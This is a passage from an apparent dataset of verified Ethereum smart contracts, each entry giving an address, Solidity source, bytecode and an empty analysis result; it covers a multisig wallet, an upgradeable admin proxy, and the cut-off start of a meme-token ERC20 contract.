transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c271461017c578063173825d9146101dc57806320ea8d86146102125780632f54bf6e146102325780633411c81c1461028057806354741525146102d75780637065cb4814610318578063784547a71461034e5780638b51d13f146103865780639ace38c2146103ba578063a0e67e2b146104b5578063a8abe69a1461052a578063b5dc40c3146105cc578063b77bf6001461064f578063ba51a6df14610675578063c01a8c8414610695578063c6427474146106b5578063d74f8edd1461074b578063dc8452cd14610771578063e20056e614610797578063ee22610b146107ec575b61017a5b6000341115610177573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b565b005b341561018457fe5b61019a600480803590602001909190505061080c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e457fe5b610210600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061084c565b005b341561021a57fe5b6102306004808035906020019091905050610af4565b005b341561023a57fe5b610266600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca5565b604051808215151515815260200191505060405180910390f35b341561028857fe5b6102bd600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cc5565b604051808215151515815260200191505060405180910390f35b34156102df57fe5b610302600480803515159060200190919080351515906020019091905050610cf4565b6040518082815260200191505060405180910390f35b341561032057fe5b61034c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d8b565b005b341561035657fe5b61036c6004808035906020019091905050610f8e565b604051808215151515815260200191505060405180910390f35b341561038e57fe5b6103a46004808035906020019091905050611078565b6040518082815260200191505060405180910390f35b34156103c257fe5b6103d86004808035906020019091905050611148565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104a35780601f10610478576101008083540402835291602001916104a3565b820191906000526020600020905b81548152906001019060200180831161048657829003601f168201915b50509550505050505060405180910390f35b34156104bd57fe5b6104c56111a4565b6040518080602001828103825283818151815260200191508051906020019060200280838360008314610517575b805182526020831115610517576020820191506020810190506020830392506104f3565b5050509050019250505060405180910390f35b341561053257fe5b610567600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611239565b60405180806020018281038252838181518152602001915080519060200190602002808383600083146105b9575b8051825260208311156105b957602082019150602081019050602083039250610595565b5050509050019250505060405180910390f35b34156105d457fe5b6105ea600480803590602001909190505061139d565b604051808060200182810382528381815181526020019150805190602001906020028083836000831461063c575b80518252602083111561063c57602082019150602081019050602083039250610618565b5050509050019250505060405180910390f35b341561065757fe5b61065f6115cf565b6040518082815260200191505060405180910390f35b341561067d57fe5b61069360048080359060200190919050506115d5565b005b341561069d57fe5b6106b3600480803590602001909190505061168c565b005b34156106bd57fe5b610735600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611871565b6040518082815260200191505060405180910390f35b341561075357fe5b61075b611891565b6040518082815260200191505060405180910390f35b341561077957fe5b610781611896565b6040518082815260200191505060405180910390f35b341561079f57fe5b6107ea600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061189c565b005b34156107f457fe5b61080a6004808035906020019091905050611bc1565b005b60038181548110151561081b57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108895760006000fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108e35760006000fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a6f578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561097657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a615760036001600380549050038154811015156109d657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a1257fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a6f565b5b8180600101925050610940565b6001600381818054905003915081610a879190611edd565b506003805490506004541115610aa657610aa56003805490506115d5565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405180905060405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b4e5760006000fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bba5760006000fd5b836000600082815260200190815260200160002060030160009054906101000a900460ff1615610bea5760006000fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405180905060405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006000600090505b600554811015610d8357838015610d3557506000600082815260200190815260200160002060030160009054906101000a900460ff16155b80610d695750828015610d6857506000600082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d75576001820191505b5b8080600101915050610cfd565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dc65760006000fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e1f5760006000fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610e455760006000fd5b6001600380549050016004546032821180610e5f57508181115b80610e6a5750600081145b80610e755750600082145b15610e805760006000fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610eec9190611f09565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405180905060405180910390a25b5b50505b505b505b50565b60006000600060009150600090505b60038054905081101561107057600160008581526020019081526020016000206000600383815481101515610fce57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561104f576001820191505b6004548214156110625760019250611071565b5b8080600101915050610f9d565b5b5050919050565b60006000600090505b600380549050811015611141576001600084815260200190815260200160002060006003838154811015156110b257fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611133576001820191505b5b8080600101915050611081565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111ac611f35565b600380548060200260200160405190810160405280929190818152602001828054801561122e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111e4575b505050505090505b90565b611241611f49565b611249611f49565b6000600060055460405180591061125d5750595b908082528060200260200182016040525b50925060009150600090505b60055481101561131d578580156112b257506000600082815260200190815260200160002060030160009054906101000a900460ff16155b806112e657508480156112e557506000600082815260200190815260200160002060030160009054906101000a900460ff165b5b1561130f578083838151811015156112fa57fe5b90602001906020020181815250506001820191505b5b808060010191505061127a565b87870360405180591061132d5750595b908082528060200260200182016040525b5093508790505b8681101561139157828181518110151561135b57fe5b906020019060200201518489830381518110151561137557fe5b90602001906020020181815250505b8080600101915050611345565b5b505050949350505050565b6113a5611f35565b6113ad611f35565b600060006003805490506040518059106113c45750595b908082528060200260200182016040525b50925060009150600090505b6003805490508110156115275760016000868152602001908152602001600020600060038381548110151561141257fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115195760038181548110151561149b57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114d657fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113e1565b816040518059106115355750595b908082528060200260200182016040525b509350600090505b818110156115c657828181518110151561156457fe5b90602001906020020151848281518110151561157c57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b808060010191505061154e565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116105760006000fd5b60038054905081603282118061162557508181115b806116305750600081145b8061163b5750600082145b156116465760006000fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116e65760006000fd5b8160006000600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117425760006000fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117ad5760006000fd5b60016001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405180905060405180910390a361186685611bc1565b5b5b50505b505b5050565b600061187e848484611d86565b90506118898161168c565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118d95760006000fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156119335760006000fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561198c5760006000fd5b600092505b600380549050831015611a7a578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119c457fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a6c5783600384815481101515611a1d57fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a7a565b5b8280600101935050611991565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405180905060405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405180905060405180910390a25b5b505b505b505050565b6000816000600082815260200190815260200160002060030160009054906101000a900460ff1615611bf35760006000fd5b611bfc83610f8e565b15611d7f5760006000848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611cdc5780601f10611cb157610100808354040283529160200191611cdc565b820191906000526020600020905b815481529060010190602001808311611cbf57829003601f168201915b505091505060006040518083038185876185025a03f19250505015611d3057827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405180905060405180910390a2611d7e565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405180905060405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b5b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611dae5760006000fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001600015158152506000600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611e6e929190611f5d565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405180905060405180910390a25b5b509392505050565b815481835581811511611f0457818360005260206000209182019101611f039190611fdd565b5b505050565b815481835581811511611f3057818360005260206000209182019101611f2f9190611fdd565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f9e57805160ff1916838001178555611fcc565b82800160010185558215611fcc579182015b82811115611fcb578251825591602001919060010190611fb0565b5b509050611fd99190611fdd565b5090565b611fff91905b80821115611ffb576000816000905550600101611fe3565b5090565b905600a165627a7a72305820f934565a848cf0bed0d9522bb12e4f440b38ebf61e3579d92df1d2f8d9acac940029
{"success": true, "error": null, "results": {}}
2,555
0x0c41a8613fbefcc8d6e5df1020dbb336f875247f
/** *Submitted for verification at Etherscan.io on 2021-10-26 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // Part: Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // Part: Proxy /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall( gas(), implementation, 0, calldatasize(), 0, 0 ) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // Part: UpgradeabilityProxy /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert( IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1) ); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require( Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address" ); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // File: AdminUpgradeabilityProxy.sol /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable UpgradeabilityProxy(_logic, _data) { assert( ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1) ); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require( newAdmin != address(0), "Cannot change the admin of a proxy to the zero address" ); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require( msg.sender != _admin(), "Cannot call fallback function from the proxy admin" ); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212209a4d7d7f054e1df6bfc3aaed42b25e37999728c7cf3d868bcd4979331ae5aaf964736f6c634300060c0033
{"success": true, "error": null, "results": {}}
2,556
0x6ecf6065223aefb61ad8ee01d8deb49060e14ac3
/** *Submitted for verification at Etherscan.io on 2022-03-23 */ /* DINGER APE Telegram: https://t.me/dingerape Website: https://dingerape.com Twitter: https://twitter.com/DingerApe */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string 